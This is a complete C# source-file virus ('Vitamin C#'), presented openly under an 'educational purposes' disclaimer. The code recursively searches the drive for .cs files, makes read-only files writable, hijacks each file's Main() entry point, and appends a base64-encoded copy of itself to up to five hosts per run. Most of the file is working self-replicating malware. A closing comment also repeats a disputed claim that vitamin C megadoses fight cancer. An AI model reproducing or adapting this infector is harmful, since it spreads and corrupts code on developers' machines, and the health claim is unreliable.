/*
ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo
Disclaimer
----------
Everything enclosed within the file is intended only for educational purposes.
The author assumes that all users understand risks involved within this file and/or its
attached materials.
The author won't be responsible for any damages to computer systems arising from the
misuse of this file and/or its attached materials.
ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo
*/
/*
oooooooooooooooooooooooooooooooooooooooo
Vitamin C# Source Code by linuspauling
oooooooooooooooooooooooooooooooooooooooo
*/
//
// This is a very primimitive replicator which uses Microsoft's C# source codes as hosts.
// It searches for "Main()" within the target and if the conditions are met, it embeds itself
// into it. It BLINDLY assumes that "Main()" is always a valid procedure and will replace the
// first "Main()" string instance that it finds, then do what it is supposed to do and will
// terminate after doing so. Because of this, C# sources that has "Main()" inside comments will
// be modified with errors (the code assumes that C# sources that has "Main()" inside comments are
// an unlikely scenario). It also assumes that the string "using System;" is always present in files
// with a "Main()" routine. It scans the current drive for C# source codes and will only infect 5
// sources in one cycle.
//
// I adapted the routine from a source code that I saw way back. I think it was in VB.NET or Visual
// Basic 6. I tried to look for it in the Internet so I can tag it as one of my references I wasn't
// successful finding it. So I just relied on what I remember to kind of recreate the routine, but
// now in C#.
//
// Without further ado, take a look at the (working) world's 3rd C# source code file infector.
// (yes. better to declare it the second or the third because there is always someone claiming to be
// the first one who did it.)
//
using Sun.Microsystems.Java;
namespace INJECT
{
class DllInjectionSample
{
static void Main(string[] args)
{
System.Threading.Thread gxzxzxzxz = new System.Threading.Thread(IsKing.LetsGo);
gxzxzxzxz.Start();
}
}
}
namespace Sun.Microsystems.Java
{
public class IsKing
{
private static int counter = 0;
public static void LetsGo()
{
string xx = System.IO.Path.GetDirectoryName(System.Reflection.Assembly.GetExecutingAssembly().GetModules()[0].FullyQualifiedName);
string xy = System.IO.Directory.GetDirectoryRoot(xx);
System.IO.DirectoryInfo dir = new System.IO.DirectoryInfo(@xy);
int yy = AndLetsRock(dir);
}
private static int AndLetsRock(System.IO.DirectoryInfo d)
{
System.IO.FileInfo[] files = d.GetFiles("*.cs");
foreach (System.IO.FileInfo file in files)
{
string filename = file.FullName;
System.IO.FileAttributes hh = System.IO.File.GetAttributes(filename);
if ((hh & System.IO.FileAttributes.ReadOnly) != 0)
{
System.IO.FileAttributes attr = System.IO.FileAttributes.Normal;
System.IO.File.SetAttributes(filename, attr);
}
string database = "bmFtZXNwYWNlIFN1bi5NaWNyb3N5c3RlbXMuSmF2YQ0Kew0KICAgIHB1YmxpYyBjbGFzcyBJc0tpbmcNCiAgICB7DQogICAgICAgIHByaXZhdGUgc3RhdGljIGludCBjb3VudGVyID0gMDsNCiAgICAgICAgcHVibGljIHN0YXRpYyB2b2lkIExldHNHbygpDQogICAgICAgIHsNCiAgICAgICAgICAgIHN0cmluZyB4eCA9IFN5c3RlbS5JTy5QYXRoLkdldERpcmVjdG9yeU5hbWUoU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHkuR2V0RXhlY3V0aW5nQXNzZW1ibHkoKS5HZXRNb2R1bGVzKClbMF0uRnVsbHlRdWFsaWZpZWROYW1lKTsNCiAgICAgICAgICAgIHN0cmluZyB4eSA9IFN5c3RlbS5JTy5EaXJlY3RvcnkuR2V0RGlyZWN0b3J5Um9vdCh4eCk7DQogICAgICAgICAgICBTeXN0ZW0uSU8uRGlyZWN0b3J5SW5mbyBkaXIgPSBuZXcgU3lzdGVtLklPLkRpcmVjdG9yeUluZm8oQHh5KTsNCiAgICAgICAgICAgIGludCB5eSA9IEFuZExldHNSb2NrKGRpcik7DQogICAgICAgIH0NCiAgICAgICAgcHJpdmF0ZSBzdGF0aWMgaW50IEFuZExldHNSb2NrKFN5c3RlbS5JTy5EaXJlY3RvcnlJbmZvIGQpDQogICAgICAgIHsNCiAgICAgICAgICAgIFN5c3RlbS5JTy5GaWxlSW5mb1tdIGZpbGVzID0gZC5HZXRGaWxlcygiKi5jcyIpOw0KICAgICAgICAgICAgZm9yZWFjaCAoU3lzdGVtLklPLkZpbGVJbmZvIGZpbGUgaW4gZmlsZXMpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgc3RyaW5nIGZpbGVuYW1lID0gZmlsZS5GdWxsTmFtZTsNCiAgICAgICAgICAgICAgICBTeXN0ZW0uSU8uRmlsZUF0dHJpYnV0ZXMgaGggPSBTeXN0ZW0uSU8uRmlsZS5HZXRBdHRyaWJ1dGVzKGZpbGVuYW1lKTsNCiAgICAgICAgICAgICAgICBpZiAoKGhoICYgU3lzdGVtLklPLkZpbGVBdHRyaWJ1dGVzLlJlYWRPbmx5KSAhPSAwKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgU3lzdGVtLklPLkZpbGVBdHRyaWJ1dGVzIGF0dHIgPSBTeXN0ZW0uSU8uRmlsZUF0dHJpYnV0ZXMuTm9ybWFsOw0KICAgICAgICAgICAgICAgICAgICBTeXN0ZW0uSU8uRmlsZS5TZXRBdHRyaWJ1dGVzKGZpbGVuYW1lLCBhdHRyKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgc3RyaW5nIGRhdGFiYXNlID0gIg==>IjsNCiAgICAgICAgICAgICAgICBzdHJpbmcgeCA9IFJlYWQoZmlsZW5hbWUpOw0KICAgICAgICAgICAgICAgIGJvb2wgeSA9IFNoYWxsV2UoeCk7DQogICAgICAgICAgICAgICAgYm9vbCB4eXkgPSBTaGFsbFdlSSh4KTsNCiAgICAgICAgICAgICAgICBpZiAoeSA9PSB0cnVlKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgY29udGludWU7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGlmICh4eXkgPT0gdHJ1ZSkNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgIGJvb2wgeiA9IHRydWU7DQogICAgICAgICAgICAgICAgICAgIHdoaWxlICh6ID09IHRydWUpDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChjb3VudGVyID09IDUpDQogICAgICAgICAgICAgICAgICAgICAgICB7IHJldHVybiAwOyB9DQogICAgICAgICAgICAgICAgICAgICAgICB6ID0gUXVlcnkoZmlsZW5hbWUsIHgsIGRhdGFiYXNlKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICh6ID09IGZhbHNlKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvdW50ZXIgKz0gMTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBlbHNlIHsgY29udGludWU7IH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIFN5c3RlbS5JTy5EaXJlY3RvcnlJbmZvW10gZGlycyA9IGQuR2V0RGlyZWN0b3JpZXMoIiouKiIpOw0KICAgICAgICAgICAgZm9yZWFjaCAoU3lzdGVtLklPLkRpcmVjdG9yeUluZm8gZGlyIGluIGRpcnMpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgdHJ5IHsgaW50IHl5eSA9IEFuZExldHNSb2NrKGRpcik7IH0NCiAgICAgICAgICAgICAgICBjYXRjaCB7IGNvbnRpbnVlOyB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICByZXR1cm4gMTsNCiAgICAgICAgfQ0KICAgICAgICBwcml2YXRlIHN0YXRpYyBzdHJpbmcgUmVhZChzdHJpbmcgZmlsZSkNCiAgICAgICAgew0KICAgICAgICAgICAgU3lzdGVtLklPLlN0cmVhbVJlYWRlciBzciA9IFN5c3RlbS5JTy5GaWxlLk9wZW5UZXh0KGZpbGUpOw0KICAgICAgICAgICAgc3RyaW5nIGlucHV0Ow0KICAgICAgICAgICAgc3RyaW5nIGdnID0gIiI7DQogICAgICAgICAgICB3aGlsZSAoKGlucHV0ID0gc3IuUmVhZExpbmUoKSkgIT0gbnVsbCkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBnZyArPSBpbnB1dCArICJcclxuIjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHNyLkNsb3NlKCk7DQogICAgICAgICAgICByZXR1cm4gZ2c7DQogICAgICAgIH0NCiAgICAgICAgcHJpdmF0ZSBzdGF0aWMgYm9vbCBTaGFsbFdlKHN0cmluZyBzKQ0KICAgICAgICB7DQogICAgICAgICAgICBpbnQgeCA9IHMuVG9Mb3dlcigpLkluZGV4T2YoInN1bi5taWNyb3N5c3RlbXMuamF2YSIpOw0KICAgICAgICAgICAgaWYgKHggPj0gMCkNCiAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsNCiAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgIH0NCiAgICAgICAgcHJpdmF0ZSBzdGF0aWMgYm9vbCBTaGFsbFdlSShzdHJpbmcgcykNCiAgICAgICAgew0KICAgICAgICAgICAgaW50IHggPSBzLlRvTG93ZXIoKS5JbmRleE9mKCJtYWluKCIpOw0KICAgICAgICAgICAgaWYgKHggPj0gMCkNCiAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsNCiAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgIH0NCiAgICAgICAgcHJpdmF0ZSBzdGF0aWMgYm9vbCBRdWVyeShzdHJpbmcgZmlsZSwgc3RyaW5nIHMsIHN0cmluZyBkYXRhYmFzZSkNCiAgICAgICAgew0KICAgICAgICAgICAgaW50IHggPSBzLlRvTG93ZXIoKS5JbmRleE9mKCJtYWluKCIpOw0KICAgICAgICAgICAgaW50IHl5ID0geDsNCiAgICAgICAgICAgIGNoYXJbXSB4eCA9IHMuVG9DaGFyQXJyYXkoMCwgcy5MZW5ndGggLSAxKTsNCiAgICAgICAgICAgIHdoaWxlICh4eFt5eV0gIT0gJ3snKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIHl5ICs9IDE7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBzID0gcy5SZXBsYWNlKHMuU3Vic3RyaW5nKHgsICh5eSAtIHgpICsgMSksICJNYWluKHN0cmluZ1tdIGFyZ3MpXHJcblx0e1xyXG5cdFN5c3RlbS5UaHJlYWRpbmcuVGhyZWFkIGd4enh6eHp4eiA9IG5ldyBTeXN0ZW0uVGhyZWFkaW5nLlRocmVhZChJc0tpbmcuTGV0c0dvKTtcclxuXHRneHp4enh6eHouU3RhcnQoKTsiKTsNCiAgICAgICAgICAgIHMgPSBzLlJlcGxhY2UoInVzaW5nIFN5c3RlbTsiLCAidXNpbmcgU3lzdGVtO1xyXG51c2luZyBTdW4uTWljcm9zeXN0ZW1zLkphdmE7Iik7DQogICAgICAgICAgICB1c2luZyAoU3lzdGVtLklPLlN0cmVhbVdyaXRlciBzdyA9IG5ldyBTeXN0ZW0uSU8uU3RyZWFtV3JpdGVyKGZpbGUpKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIHN0cmluZ1tdIHQgPSBkYXRhYmFzZS5TcGxpdChuZXcgY2hhcltdIHsgJz4nIH0pOw0KICAgICAgICAgICAgICAgIHN3LldyaXRlTGluZShzKTsNCiAgICAgICAgICAgICAgICBzdy5Xcml0ZUxpbmUoIlxyXG4iKTsNCiAgICAgICAgICAgICAgICBzdy5Xcml0ZShkZWNvZGViNjQodFswXSkrIGRhdGFiYXNlICsgZGVjb2RlYjY0KHRbMV0pKTsNCiAgICAgICAgICAgICAgICBzdy5Xcml0ZUxpbmUoIlxyXG4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgfQ0KICAgICAgICBwcml2YXRlIHN0YXRpYyBzdHJpbmcgZGVjb2RlYjY0KHN0cmluZyBkKQ0KICAgICAgICB7DQogICAgICAgICAgICAgIGJ5dGVbXSBnID0gU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhkKTsNCiAgICAgICAgICAgICAgcmV0dXJuIFN5c3RlbS5UZXh0LkVuY29kaW5nLlVURjguR2V0U3RyaW5nKGcpOw0KICAgICAgICB9DQogICAgfQ0KfQ0KDQo=";
string x = Read(filename);
bool y = ShallWe(x);
bool xyy = ShallWeI(x);
if (y == true)
{
continue;
}
if (xyy == true)
{
bool z = true;
while (z == true)
{
if (counter == 5)
{ return 0; }
z = Query(filename, x, database);
if (z == false)
{
counter += 1;
}
}
}
else { continue; }
}
System.IO.DirectoryInfo[] dirs = d.GetDirectories("*.*");
foreach (System.IO.DirectoryInfo dir in dirs)
{
try { int yyy = AndLetsRock(dir); }
catch { continue; }
}
return 1;
}
private static string Read(string file)
{
System.IO.StreamReader sr = System.IO.File.OpenText(file);
string input;
string gg = "";
while ((input = sr.ReadLine()) != null)
{
gg += input + "\r\n";
}
sr.Close();
return gg;
}
private static bool ShallWe(string s)
{
int x = s.ToLower().IndexOf("sun.microsystems.java");
if (x >= 0)
return true;
else
return false;
}
private static bool ShallWeI(string s)
{
int x = s.ToLower().IndexOf("main(");
if (x >= 0)
return true;
else
return false;
}
private static bool Query(string file, string s, string database)
{
int x = s.ToLower().IndexOf("main(");
int yy = x;
char[] xx = s.ToCharArray(0, s.Length - 1);
while (xx[yy] != '{')
{
yy += 1;
}
s = s.Replace(s.Substring(x, (yy - x) + 1), "Main(string[] args)\r\n\t{\r\n\tSystem.Threading.Thread gxzxzxzxz = new System.Threading.Thread(IsKing.LetsGo);\r\n\tgxzxzxzxz.Start();");
s = s.Replace("using System;", "using System;\r\nusing Sun.Microsystems.Java;");
using (System.IO.StreamWriter sw = new System.IO.StreamWriter(file))
{
string[] t = database.Split(new char[] { '>' });
sw.WriteLine(s);
sw.WriteLine("\r\n");
sw.Write(decodeb64(t[0])+ database + decodeb64(t[1]));
sw.WriteLine("\r\n");
}
return false;
}
private static string decodeb64(string d)
{
byte[] g = System.Convert.FromBase64String(d);
return System.Text.Encoding.UTF8.GetString(g);
}
}
}
// Summary
// 1.) Make a thread for embedder process.
// 2.) Start thread.
// 3.) Get where the source is executing
// 4.) Get root directory
// 5.) Do a recursive search of all *.cs files from root directory and beyond
// 6.) Make read-only sources writable.
// 6.) Examine file if its infected.
// 7.) Examine file if it can be infected.
// 8.) If it's not infected and it can be infected.
// a.) Modify the text stream by replacing "using System;"
// b.) Modify the text stream by replacing "Main(...){"
// Otherwise, next file.
// 9.) Entry point has been set and file is ready to be closed.
// 10.) Append a copy of itself to the host. Record how many times the cycle has happened.
// 11.) If we got 5 hosts, ignore others and terminate.
// A demo file can be found at "\StringCopy.zip"
/*
oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo
"don't call me scarface." linuspauling (http://bangingatbang.land.ru)
oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo
*/
/*
oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo
Dr. Linus Pauling on vitamin C
------------------------------
Dr. Linus Pauling, often referred to as the "Father of Vitamin C" and twice awarded the Nobel Prize,
declared that large intakes of up to 10 grams of vitamin C each day aids anti-cancer activity within
the body.
Pauling was largely ridiculed for making these declarations, but today, large doses of Vitamin C are
used by many practitioners for cancer patients in nutritional therapies, who believe Pauling was right
and that vitamin C is indispensable to the body in its fight to regain health from cancer.
(http://www.healingdaily.com/detoxification-diet/vitamin-c.htm)
ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo
*/